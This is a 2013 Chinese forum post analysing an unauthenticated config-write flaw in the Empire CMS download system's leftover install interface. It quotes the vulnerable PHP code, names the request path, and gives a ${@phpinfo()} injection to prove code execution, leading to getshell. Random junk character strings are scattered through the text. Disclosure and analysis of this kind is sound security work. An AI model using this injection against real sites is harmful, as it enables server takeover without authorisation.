找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2312|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
3 h# ~/ ?3 z3 g9 V
8 m' a+ o; e2 N2 M

: _. q! h+ Z& h
这是帝国的一套下载系统 如图
5 h5 R/ U7 F" _/ Z9 b7 ~5 Nps(不需要任何账户和密码,直接写shell)


. T, P9 E; C/ t* d( J" ~

由于很多站是由于下载要整合discuz 等等一些论坛..../ G4 O" r2 z6 |$ R


0 z( |( F+ `' x3 H# u* }- z, W

而帝国他又有一个万能接口,如图

7 @; P' m  e. h0 J8 O2 v) I

; n. e! |7 d' p
) O8 L8 f6 Q+ q; t) a

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
( N/ s% K4 ~, Y, p4 S/ \' p. t1 C2 S" N0 g1 R; o
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪6 e7 o9 P4 H" V- W

! Q0 ]( ~) Q0 x  q. k在data/fun.php中的15行
& z5 Q' y7 F" [+ T0 C! {# x4 S$ S0 R' |7 s
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {% V( A* ~3 A) R" A' p" {& O- y" q9 S
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干- k0 M1 d: f! q; {

3 }2 A: X, ^8 m- T3 x这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
2 Q% {$ v7 m7 [6 X# S9 s. a* j" h3 k+ b6 p  ^
他将传进来的变量进行了切割,然后赋给了$filetext
( [" x. ~, c+ v) N( n/ G* J8 B* L
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了5 s* f1 G' ?/ l+ Q  H" A+ X
% o. Q, x5 _* B5 a1 G$ f
我们看看写入的结果,随便填一个


# w6 ~7 H+ m2 }+ E; R+ I) I. E& Y5 P- y, ?: e- o
4 ?( y3 c8 q8 v- q
! |' C5 v; \  }% t

( Q" C* `& T. D( ^1 t- r* E
( [  E3 d! B1 N3 d+ E8 l

% e% Y% R0 ^% j, B* Q4 R
3 h; C  v+ Y* a' t

1 L% {( v  h$ [! r* R4 I7 g3 V4 m* M

: F& Y5 g6 E* q/ _4 m
+ X1 q) k! l! D( j9 d- b6 w7 u" T
8 z& O& A2 x' Y/ ^
9 h5 A# \4 O# V

9 r+ `. p8 O& K- ?6 {8 u# ?( O7 o9 L6 n

& k0 O0 x& B$ S/ }$ E
  `7 C; t/ `4 d6 Q8 K5 X  T( [! b/ |" {
+ f' z. U, [6 N8 y# P
/ r! R  S" i! P) p
& v) A7 i. M. h* \7 U/ `

所以我们淫荡点,写个${@phpinfo()}试试


$ U1 l8 ]) \4 I+ }; N

然后访问以下class/user.php这个文件/ r* o/ `6 \0 j; K! _% a1 {
日了吧

! N$ ^4 F- ~; e5 ]( A4 k

7 J; I: R, {" P* E- m) W% v5 P( M
$ d8 ]# U4 b4 T/ B, u
" v& O0 O# p* W3 c" z& W, {9 m& r) }

, T, F9 \! k; X) X% ^& v

: @8 P  }% P* O

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表